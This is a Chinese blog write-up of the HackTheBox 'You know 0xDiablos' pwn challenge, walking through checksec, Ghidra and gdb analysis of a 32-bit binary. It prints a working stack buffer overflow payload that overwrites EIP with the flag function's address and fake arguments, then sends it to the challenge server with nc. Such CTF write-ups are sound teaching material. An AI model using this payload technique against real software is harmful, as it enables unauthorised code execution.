• HackTheBox You know 0xDiablos pwn题目


    这是一道入门的pwn题,入门可以看我写的那个pwn入门专栏,这里很多基础的东西都不解释了

    题目网址:

    https://app.hackthebox.com/challenges/you-know-0xdiablos
    
    • 1

    在这里插入图片描述

    解压密码为hackthebox

    文件信息收集

    file vuln
    
    • 1

    在这里插入图片描述

    这是一个32位的程序,动态链接的,没有开启内存随机化

    checksec vuln
    
    • 1

    在这里插入图片描述

    可以看到,这个程序什么防护都没开

    从上到下依次是:

    32位程序
    部分RELRO,基本上所有程序都默认的有这个
    没有开启栈保护
    未启用数据执行
    没有pie,意思是程序的内存空间不会被随机化
    有读,写,和执行的段,意思是我们可以在程序里写入shellcode
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    静态分析

    用ghidra打开程序,按下键盘的i键,选择程序

    在这里插入图片描述

    在这里插入图片描述

    双击启动,然后都是默认即可

    在这里插入图片描述

    在这里插入图片描述

    然后找到main函数

    在这里插入图片描述

    在这里插入图片描述

    main(void){
      puts("You know who are 0xDiablos: ");
      vuln();
      return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    程序很简单,输出一串字符串然后调用了vuln函数,我们双击vuln函数

    在这里插入图片描述

    这个函数的功能也很简单,获取了我们的输入,然后再输出

    在这里插入图片描述

    然后看看flag函数

    在这里插入图片描述

    在这里插入图片描述

    这个函数首先检查flag.txt文件在不在,然后对比两个字符串,如果对比通过就会输出flag文件里的内容

    右击十六进制数就能看到对应字符串

    程序很简单,只需要溢出覆盖即可,我们还需要创建一个flag.txt保证程序正常运行

    echo "good" > flag.txt
    
    • 1

    动态调试

    用gdb打开程序,在vuln函数的ret指令处下一个断点,方便看看溢出的偏移量

    gdb vuln
    info functions
    
    • 1
    • 2

    记住flag函数地址,一会控制了eip指针就直接跳转到flag函数地址处

    在这里插入图片描述

    0x080491e2
    
    • 1

    然后在vuln函数ret指令处下断点

    disassemble vuln
    b *0x080492b0
    
    • 1
    • 2

    **加粗样式**

    运行程序,测试溢出的偏移量

    cyclic 200
    run
    
    • 1
    • 2

    在这里插入图片描述

    查询waab字符的位置

    cyclic -l waab
    
    • 1

    在这里插入图片描述

    我们需要188个字符就能控制eip寄存器

    现在我们控制eip寄存器跳转到flag函数地址处

    python2 -c "print 'A'*188+'\xe2\x91\x04\x08'" > test
    
    • 1

    然后返回gdb

    r < test
    
    • 1

    在这里插入图片描述

    可以看到,我们成功的跳转到了flag函数内执行代码,继续向下执行

    在这里插入图片描述

    在这里插入图片描述

    在ebp+8地址处和deadbeef字符做了对比,在ebp+0xc地址处和c0ded00d字符串做了对比,我们看看堆栈里的东西

    x $ebp+0x8
    x $ebp+0xc
    x/50x $esp
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    这两个地址存放的字符串前还需要覆盖4个垃圾字符才能使程序判断正确输出flag文件内的字符

    PWN

    python2 -c "print 'A'*188+'\xe2\x91\x04\x08'+'AAAA'+'\xef\xbe\xad\xde'+'\x0d\xd0\xde\xc0'" > test
    
    • 1

    运行程序,将payload发送到里面

    cat test - | ./vuln
    
    • 1

    在这里插入图片描述

    成功输出flag.txt里的内容,现在获得靶机的远程地址

    在这里插入图片描述

    直接打就是

    cat test - | nc 167.99.89.94 31250
    
    • 1

    **加粗样式**

    成功获得flag

  • 相关阅读:
    首个大规模图文多模态数据集LAION-400M介绍
    学习 mybatis Java MySQL总结
    AtCoder Beginner Contest 350
    功率放大器的功能是什么功能
    开启本地静态服务器-Node
    dplyr高级教程 tidyverse ADVANCED DATA MANIPULATION 高级操作复杂操作数据筛选根据条件筛选列行 根据条件取行列 dataframe 矩阵 matrix数据框
    路由 知识
    SpringBoot幂等性防重token令牌实现方案(redis+annoation+interceptor实现)
    C++系列-const修饰的常函数
    【信号隐藏-数字水印】基于小波变换算法DWT结合离散余弦变换DCT实现音频数字水印嵌入提取附matlab代码
  • 原文地址:https://blog.csdn.net/qq_45894840/article/details/127721591